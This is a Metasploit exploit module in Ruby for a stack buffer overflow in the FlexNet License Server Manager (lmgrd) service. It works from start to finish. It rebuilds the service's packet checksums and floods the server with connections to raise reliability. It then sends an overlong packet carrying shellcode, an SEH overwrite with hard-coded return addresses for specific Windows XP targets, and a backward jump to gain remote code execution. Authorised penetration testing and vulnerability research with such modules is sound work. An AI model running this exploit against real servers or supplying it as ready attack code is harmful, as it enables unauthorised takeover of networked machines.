##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FlexNet License Server Manager lmgrd Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in the FlexNet
        License Server Manager.

        The vulnerability is due to the insecure usage of memcpy
        in the lmgrd service when handling network packets, which
        results in a stack buffer overflow.

        In order to improve reliability, this module will make lots of
        connections to lmgrd during each attempt to maximize its success.
      },
      'Author'         =>
        [
          'Luigi Auriemma', # Vulnerability Discovery and PoC
          'Alexander Gavrun', # Vulnerability Discovery
          'juan vazquez', # Metasploit module
          'sinn3r' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '81899' ],
          [ 'BID', '52718' ],
          [ 'ZDI', '12-052' ],
          [ 'URL', 'http://aluigi.altervista.org/adv/lmgrd_1-adv.txt' ],
          [ 'URL', 'http://www.flexerasoftware.com/pl/13057.htm' ] # Vendor advisory
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload' =>
        {
          'Space' => 4000
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Debug', {} ],
          [ 'Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3',
            {
              'Offset' => 10476,
              'ShellcodeOffset' => 5484,
              'Ret' => 0x0047d01f # ppr from lmgrd.exe
            }
          ],
          [ 'Alias License Tools 10.8.0.7 / lmgrd 10.8.0.7 / Windows XP SP3',
            {
              'Offset' => 7324,
              'ShellcodeOffset' => 2332,
              'Ret' => 0x004eda91 # ppr from lmgrd.exe
            }
          ],
          [ 'Alias License Tools 10.8 / lmgrd 10.8.0.2 / Windows XP SP3',
            {
              'Offset' => 7320,
              'ShellcodeOffset' => 2328,
              'Ret' => 0x004eb2e1 # ppr from lmgrd.exe
            }
          ],
        ],
      'DefaultTarget'  => 1,
      'DisclosureDate' => '2012-03-23'))

    register_options(
      [
        Opt::RPORT(27000),
        OptInt.new('Attempts', [ true, 'Number of attempts for the exploit phase', 20 ]),
        OptInt.new('Wait', [ true, 'Delay between brute force attempts', 2 ]),
        OptInt.new('Jam', [ true, 'Number of requests to jam the server', 100 ])
      ])
  end

  def header_checksum(packet)
    packet_bytes = packet.unpack("C*")
    checksum = packet_bytes[0]
    i = 2
    while i < 0x14
      checksum = checksum + packet_bytes[i]
      i = i + 1
    end
    return (checksum & 0x0FF)
  end

  def data_checksum(packet_data)
    word_table = ""
    i = 0
    while i < 256
      v4 = 0
      v3 = i
      j = 8

      while j > 0
        if ((v4 ^ v3) & 1) == 1
          v4 = ((v4 >> 1) ^ 0x3A5D) & 0x0FFFF
        else
          v4 = (v4 >> 1) & 0x0FFFF
        end
        v3 >>= 1
        j = j - 1
      end

      word_table << [v4].pack("S")
      i = i + 1
    end
    k = 0
    checksum = 0
    data_bytes = packet_data.unpack("C*")
    word_table_words = word_table.unpack("S*")
    while k < packet_data.length
      position = data_bytes[k] ^ (checksum & 0x0FF)
      checksum = (word_table_words[position] ^ (checksum >> 8)) & 0x0FFFF
      k = k + 1
    end
    return checksum
  end

  def create_packet(data)
    pkt = "\x2f"
    pkt << "\x00" # header checksum
    pkt << "\x00\x00" # data checksum
    pkt << "\x00\x00" # pkt length
    pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    pkt << data

    pkt[4,2] = [pkt.length].pack("n")

    data_sum = data_checksum(pkt[4, pkt.length - 4])
    pkt[2, 2] = [data_sum].pack("n")

    hdr_sum = header_checksum(pkt[0, 20])
    pkt[1] = [hdr_sum].pack("C")

    return pkt
  end

  def jam
    pkt = create_packet("")

    datastore['Jam'].times do
      connect
      sock.put(pkt)
      disconnect
    end
  end

  def exploit
    i = 1
    while i <= datastore['Attempts'] and not session_created?
      print_status("Attempt #{i}/#{datastore['Attempts']} to exploit...")
      do_exploit
      sleep(datastore['Wait'])
      i = i + 1
    end

    if not session_created?
      print_error("Exploit didn't work after #{i} attempts")
    end
  end

  def do_exploit
    t = framework.threads.spawn("jam", false) { jam }
    my_payload = payload.encoded

    header_length = 20 # See create_packet() to understand this number
    pkt_data = ""
    if target.name =~ /Debug/
      pkt_data << "a" * (65535 - header_length)
    else

      pkt_data << rand_text(target['ShellcodeOffset'])
      pkt_data << my_payload
      pkt_data << rand_text(target['Offset']-target['ShellcodeOffset']-my_payload.length)
      pkt_data << generate_seh_record(target.ret)
      pkt_data << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5000").encode_string
      pkt_data << rand_text(65535 - pkt_data.length - header_length)
    end

    pkt = create_packet(pkt_data)

    connect
    sock.put(pkt)
    handler
    disconnect
  end
end

